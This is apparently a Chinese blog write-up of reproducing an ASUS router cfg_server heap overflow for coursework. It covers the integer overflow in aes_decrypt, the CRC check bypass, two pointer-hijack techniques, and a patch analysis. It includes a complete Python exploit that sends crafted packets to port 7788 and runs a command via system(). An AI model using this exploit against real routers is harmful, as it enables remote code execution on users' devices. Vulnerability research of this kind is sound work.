前言 漏洞分析大作业需要分析一个堆溢出,正好想起来21年天府杯攻破华硕所利用的堆溢出一直没有复现,于是就复现了一下,并记录于此。
环境准备 我手里有华硕的一个真机,不过是TUF-AX5400 ,型号是3.0.0.4.386_46061 。这个版本中堆溢出漏洞已被修复,并且官网也无法下载到这个系列的存在漏洞的旧版本,于是我对cfg_server 进行了patch,使其可以正常走到漏洞点,上传至设备中手动启动。
漏洞分析 漏洞存在于cfg_server 中,这个程序会监听7788 端口。接收的数据包的格式类似TLV,即(Type-Length-Value),不过多了一个check字段来检查数据合法性。会根据Type ,来选择相对应的处理函数。
当Type 为0x28 时,会进入cm_processREQ_GROUPID 函数,这个函数中存在如下调用链cm_packetProcess->aes_decrypt ,来解密接收到的数据。整数溢出漏洞就出现在aes_decrypt 中(当然也有很多其他Type所对应的函数会调用这个函数)。它的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 char *__fastcall aes_decrypt (int key, int a2, unsigned int length, _DWORD *a4) { ... ctx = EVP_CIPHER_CTX_new(); if ( !ctx ) { printf ("%s(%d):Failed to EVP_CIPHER_CTX_new() !!\n" , "aes_decrypt" , 768 ); return 0 ; } v9 = EVP_aes_256_ecb(); v10 = (char *)EVP_DecryptInit_ex(ctx, v9, 0 , key, 0 ); if ( v10 ) { *a4 = 0 ; v11 = EVP_CIPHER_CTX_block_size(ctx) + length; v12 = (char *)malloc (v11); v10 = v12; if ( v12 ) { memset (v12, 0 , v11); out_data_ptr = v10; for ( i = length; ; i -= 0x10 ) { in_data_ptr = a2 + length - i; if ( i <= 0x10 ) break ; if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, 16 ) ) { printf ("%s(%d):Failed to EVP_DecryptUpdate()!!\n" , "aes_decrypt" , 795 ); EVP_CIPHER_CTX_free(ctx); free (v10); return 0 ; } out_data_ptr += tmp_out_len[0 ]; *a4 += tmp_out_len[0 ]; } if ( i ) { if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, i) ) { printf ("%s(%d):Failed to EVP_DecryptUpdate()!!\n" , "aes_decrypt" , 811 ); EVP_CIPHER_CTX_free(ctx); free (v10); return 0 ; } out_data_ptr += tmp_out_len[0 ]; *a4 += tmp_out_len[0 ]; } if ( !EVP_DecryptFinal_ex(ctx, out_data_ptr, tmp_out_len) ) { printf ("%s(%d):Failed to EVP_DecryptFinal_ex()!!\n" , "aes_decrypt" , 822 ); EVP_CIPHER_CTX_free(ctx); free (v10); return 0 ; } *a4 += tmp_out_len[0 ]; } ... } ... EVP_CIPHER_CTX_free(ctx); return v10; }
首先调用EVP_CIPHER_CTX_new 为ctx 结构体分配内存。下面就是对数据进行aes解密的过程。解密前会为数据分配内存,分配的大小是通过EVP_CIPHER_CTX_block_size(ctx) + length 计算得出的,但是下面解密的时候循环次数又是由length 控制。这里的length 可以被我们控制,并且经过调试可以得知EVP_CIPHER_CTX_block_size(ctx)的值是0x10。如果我们控制length=0xffffffff 就可以导致整数溢出。使得malloc 在分配一块较小内存的同时,会拷贝很长的数据到堆上,从而导致堆溢出。检查check字段合法性的函数定义如下。
1 2 3 4 5 6 7 8 9 10 11 unsigned int __fastcall check (unsigned int result, char *a2, int a3) { char v3; while ( --a3 >= 0 ) { v3 = *a2++; result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8 ); } return result; }
我们控制length=0xffffffff ,由于小于0,则会直接返回,也就是我们把check 字段设置为0即可通过数据合法性检查。
漏洞利用 可以溢出那么就寻找结构体指针,尝试控制程序执行流。参考了@CataLpa师傅
的文章 和@CQ师傅
的文章 。知道了有这两个可以劫持的地方。
首先看一下我们所涉及到的两个结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 typedef struct evp_cipher_ctx_st { const EVP_CIPHER *cipher; ENGINE *engine; int encrypt; int buf_len; unsigned char oiv[EVP_MAX_IV_LENGTH]; unsigned char iv[EVP_MAX_IV_LENGTH]; unsigned char buf[EVP_MAX_BLOCK_LENGTH]; int num; void *app_data; int key_len; unsigned long flags; void *cipher_data; int final_used; int block_mask; unsigned char final[EVP_MAX_BLOCK_LENGTH]; } EVP_CIPHER_CTX; typedef struct evp_cipher_st { int nid; int block_size; int key_len; int iv_len; unsigned long flags; int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc); int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, unsigned int inl); int (*cleanup)(EVP_CIPHER_CTX *); int ctx_size; int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr); void *app_data; }EVP_CIPHER;
方法一 一个是劫持EVP_CIPHER_CTX 结构体中的cipher 指针。在调用EVP_DecryptUpdate 函数时,会调用cipher 中的do_cipher 来进行具体的解密。如果我们可以伪造一个EVP_CIPHER 结构体,就可以实现控制程序的执行流。这个加密指针的调用伪代码如下:
1 2 v12 = *ctx; (*(int (__fastcall **)(_DWORD *, char *, char *, int ))(v12 + 0x18 ))(ctx, out, in, in_len);
我们想要实现这样的劫持需要控制堆布局如下:
1 2 | out_ptr | |EVP_CIPHER_CTX|
也就是我们解密后存放的数据的缓冲区被分配在EVP_CIPHER_CTX 结构体缓冲区之前,这样就可以覆盖EVP_CIPHER_CTX 的cipher ,实现对EVP_CIPHER 的伪造,从而控制程序执行流。
方法二 还有一个是劫持解密函数中所涉及的指针。方法一说到调用EVP_DecryptUpdate 函数时,会调用cipher 中的do_cipher 来进行具体的解密。进一步调试可知do_cipher 的伪代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int __fastcall do_cipher (int ctx, int out, int in, unsigned int in_len) { unsigned int v8; int cipher_data; unsigned int v10; int v11; int v12; int v13; v8 = EVP_CIPHER_CTX_block_size(ctx); cipher_data = EVP_CIPHER_CTX_get_cipher_data(ctx); if ( v8 <= in_len ) { v10 = in_len - v8; v11 = cipher_data; v12 = in; do { v13 = v12; v12 += v8; (*(void (__fastcall **)(int , int , int ))(v11 + 0xF8 ))(v13, out, v11); out += v8; } while ( v10 >= v12 - in ); } return 1 ; } int __fastcall EVP_CIPHER_CTX_get_cipher_data (int ctx) { return *(_DWORD *)(ctx + 0x60 ); }
显而易见,这是先获取了EVP_CIPHER_CTX 结构体偏移为0x60 地方的cipher_data 指针(指向某个结构体,用来存放加解密相关数据)。再调用这个结构体偏移为0xF8 处的函数指针AES_decrypt 。经过调试可知,cipher_data 指针总是指向我们的堆上。如果我们可以覆盖cipher_data 指针偏移为0xF8 处的函数指针AES_decrypt 。那么也可以实现程序执行流的控制。
我们想要实现这样的劫持需要控制堆布局如下:
1 2 3 4 5 6 7 | out_ptr | | cipher_data | |EVP_CIPHER_CTX| 或 |EVP_CIPHER_CTX| | out_ptr | | cipher_data |
即我们不能破坏EVP_CIPHER_CTX 结构体,以免无法调用cipher 中的do_cipher ,同时需要可以覆盖到AES_decrypt 。
exp 我自己写exp的时候是尝试的第一种劫持方式。我构造出了如下布局:
1 2 3 ► 0x1e6bc <aes_decrypt+260> bl #EVP_DecryptUpdate@plt <EVP_DecryptUpdate@plt> ctx: 0xb6500978 —▸ 0xb6e9bb1c ◂— 0x1aa out: 0xb6500760 ◂— 0x0
这里值得一提的是,虽然开了aslr基地址会变化,但是经过我调试发现堆基地址大概率是0xb6300000,0xb6400000,0xb6500000。(可能因为是多线程的缘故,会为新线程准备一个堆基地址,这个地址变化不大)。我就把0xb6500760 当作了EVP_CIPHER 结构体的开头。之后覆盖EVP_CIPHER_CTX 结构体中的cipher 为0xb6500760 即可。之后我又遇到了一个问题,就是在调用这个函数指针时,它的第一个参数是EVP_CIPHER_CTX 结构体指针。由于我们每次只解密16字节,并且在覆盖cipher 之后就无法继续解密,使得我这种布局只可以EVP_CIPHER_CTX 结构体指针后面的控制4字节为我们想要执行的命令,这远远无法实现命令执行。经过替换gadget之后,最后也只构造出控制8字节的方式,可以勉强执行个reboot或者echo 1 (:triumph:。
1 2 3 4 5 6 0x528cc mov r0, r6 0x528d0 ldr r3, [r5, #4] 0x528d4 ldr r2, [sp, #0x38] 0x528d8 rev r1, r1 ► 0x528dc blx r3 <system@plt> command: 0xb6500970 ◂— 'echo 66'
而第二种劫持方式的第一个参数为in ,应该可以控制相当长的数据。不过由于更改堆布局很麻烦,笔者也就没有进一步探究,感兴趣的读者可以自行尝试。
以下是笔者第一种劫持方式的exp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import socketimport structfrom Crypto.Cipher import AESp32 = lambda x: struct.pack("<I" , x) p32b = lambda x: struct.pack(">I" , x) def aes_encode (data, key ): aes = AES.new(key, AES.MODE_ECB) return aes.encrypt(data) def make_tlv_request (_tlv_type, _tlv_len, _tlv_crc, _tlv_data=b"" ): return p32b(_tlv_type) + p32b(_tlv_len) + p32b(_tlv_crc) + _tlv_data s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.50.1" , 7788 )) tlv_type = 0x5 tlv_len = 0xffffffff tlv_crc = 0 request = make_tlv_request(tlv_type, tlv_len, tlv_crc) s.send(request) s.close() """ .text:000528CC 06 00 A0 E1 MOV R0, R6 .text:000528D0 04 30 95 E5 LDR R3, [R5,#4] .text:000528D4 38 20 9D E5 LDR R2, [SP,#0x38+arg_0] .text:000528D8 31 1F BF E6 REV R1, R1 .text:000528DC 33 FF 2F E1 BLX R3 """ gadget_add = 0x000528CC system_plt = 0x00014754 payload = p32(0x000001aa ) + p32(0x00000010 ) + p32(0x00000020 ) + p32(0x00000000 ) payload+= p32(0x00100000 ) + p32(0xb6e2f480 ) + p32(gadget_add) + p32(0x00000000 ) payload+= p32(0x00000100 ) + p32(0x00000000 ) + p32(0x00000000 ) payload = payload.ljust(0x210 , b"a" ) payload+= b"echo 66\x00" payload = payload.ljust(0x218 , b"a" ) payload+= p32(0xb6500760 ) payload+= p32(system_plt) payload = payload.ljust(0x280 , b"a" ) tlv_type = 0x28 tlv_len = 0xffffffff tlv_crc = 0 tlv_data = aes_encode(payload, b"12345678000000000000000000000000" ) request = make_tlv_request(tlv_type, tlv_len, tlv_crc, tlv_data) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.50.1" , 7788 )) s.sendall(request) s.close()
补丁分析 1 2 3 4 5 6 7 8 9 10 if ( v15 <= recv_len ) { tlv_type = *tlv_buf; tlv_len = tlv_buf[1 ]; tlv_crc = tlv_buf[2 ]; if ( recv_len - 12 != bswap32(tlv_len) ) { ... return ;
在cm_packetProcess 函数中,加入了对tlv_len 的检查,即检查接收数据长度的减去12是否与tlv_len相等,不等则直接返回。这样就可以避免tlv_len 被控制为一个很大的值,从而避免整数溢出。
参考链接 https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/
https://cq674350529.github.io/2023/08/05/Analyzing-the-Vulnerability-in-ASUS-Router-maybe-from-TFC2021/